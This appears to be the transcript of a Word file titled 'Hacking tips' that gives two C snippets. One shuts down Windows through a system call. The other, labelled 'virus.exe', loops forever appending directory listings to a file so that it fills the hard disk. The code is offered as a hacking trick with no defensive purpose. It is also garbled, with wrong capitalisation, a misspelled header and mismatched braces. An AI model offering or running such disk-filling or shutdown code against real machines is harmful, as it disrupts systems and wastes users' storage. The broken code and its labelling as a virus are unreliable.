Hacking tips.docx
Transcript of Hacking tips.docx
Hacking tips
1. The c program which shutdown the windows operating system Write the following code in turbo c.CODE:Void main(void){System(“shutdown-s”);}Suppose the above . let file name is close.c and compile and execute the above code. Now close the turbo c compiler and open the directory in window you have saved the close.c ( default directory C:\TC\BIN) and double click its exe file (close.exe).After some time your window will shutdown .
2.The c program which jam your hard disc.
CODE:
/*virus.exe*/
#include<stdio.h>
#include<stdib.h>
Void main()
{
While(1)
}
System(“dir>>a.sa.exe”);
}
}
Here a sample virus program but it has ability to jam ypur hard disc. The program make a self growing file which grow to few MB and continue infinetly. How it works?-the system call “dir>>a.sa.exe” will execute the dos command.